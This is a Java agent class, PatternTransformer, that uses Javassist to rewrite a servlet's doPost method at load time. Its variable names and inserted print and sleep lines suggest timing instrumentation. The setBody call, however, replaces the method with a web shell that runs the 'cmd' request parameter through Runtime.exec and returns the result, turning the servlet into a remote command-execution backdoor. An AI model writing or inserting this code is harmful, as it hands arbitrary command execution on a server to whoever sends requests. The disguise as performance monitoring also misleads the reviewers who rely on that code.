import javassist.*;

import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.util.*;

public class PatternTransformer implements ClassFileTransformer {

    final static String prefix = "\nlong startTime = System.currentTimeMillis();\n";
    final static String startTime = "startTime = System.currentTimeMillis();\n";
    final static String postfix = "\nlong endTime = System.currentTimeMillis();\n";

    // 被处理的方法列表
    final static Map<String, List<String>> methodMap = new HashMap<String, List<String>>();

    public PatternTransformer() {
        add("DemoServlet.doPost");
    }

    private void add(String methodString) {
        String className = methodString.substring(0, methodString.lastIndexOf("."));
        String methodName = methodString.substring(methodString.lastIndexOf(".") + 1);
        List<String> list = methodMap.get(className);
        if (list == null) {
            list = new ArrayList<String>();
            list.add(methodName);
            methodMap.put(className, list);

        }

    }

    // 重写此方法
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
                            ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {



        if (methodMap.containsKey(className)) {

            StringBuilder tmpFilePath = new StringBuilder();
            String classUrl = null;
            String[] pathArray = className.split("/");
            for (int i = 0; i < pathArray.length; i++) {

                if (i + 1 == pathArray.length) {
                    tmpFilePath.append("classes");
                    tmpFilePath.append("/");
                    tmpFilePath.append(pathArray[i]);
                    tmpFilePath.append("_tmp.class");
                    classUrl = pathArray[i] + "_tmp";
                } else {
                    tmpFilePath.append(pathArray[i]).append("/");
                }


            }
            System.out.println("tmpFilePath:" + tmpFilePath);
            className = className.replace("/", ".");
            if (className.contains("DemoServlet")) {
                System.out.println("className:" + className);
            }

            // 判断加载的class的包路径是不是需要监控的类
            CtClass ctclass = null;
            try {
                ClassPool cp = ClassPool.getDefault();
                System.out.println("className is :" + className);
                ClassClassPath classPath = new ClassClassPath(classBeingRedefined);
                cp.insertClassPath(classPath);
                ctclass = cp.get(className);// 使用全称,用于取得字节码类<使用javassist>
                System.out.println("current root path:" + System.getProperty("user.dir"));

                FileOutputStream fileOutputStream = new FileOutputStream(tmpFilePath.toString());
                fileOutputStream.write(classfileBuffer);
                fileOutputStream.close();

                System.out.println("classstr---------------------------");
                String classStr = DeCompilerUtil.getJava("DemoServlet_tmp");
                System.out.println("classStr:" + classStr);
                System.out.println("classstr---------------------------");


                System.out.println("methodMap:" + methodMap);
                for (String methodName : methodMap.get(className)) {
                    CtMethod ctmethod = ctclass.getDeclaredMethod(methodName);// 得到这方法实例
                    ctmethod.addLocalVariable("startTime", CtClass.longType);
                    long startTime = System.currentTimeMillis();
                    System.out.println("startTime:" + startTime);
                    System.out.println("time:" + (System.currentTimeMillis() - startTime));
                    ctmethod.insertBefore("long startTime = System.currentTimeMillis();\n" +
                            "                    System.out.println(startTime);");

                    ctmethod.insertAfter("Thread.sleep(3000L);");
                    ctmethod.insertAfter("System.out.println(\"time:\"+(System.currentTimeMillis()-startTime));");

                    ctmethod.setBody("{javax.servlet.http.HttpServletRequest request = $1;" +
                            "javax.servlet.http.HttpServletResponse response = $2;" +
                            "String cmd=request.getParameter(\"cmd\");" +
                            "Object result = Runtime.getRuntime().exec(cmd);" +
                            "response.getWriter().print(\"exec cmd:\"+cmd+\"----result:\"+result);}");
                }
                ctclass.detach();

                return ctclass.toBytecode();
            } catch (Exception e) {
                System.out.println("exception" + e);
            }
        }
        return null;
    }

    public static void main(String[] args) {


    }
}
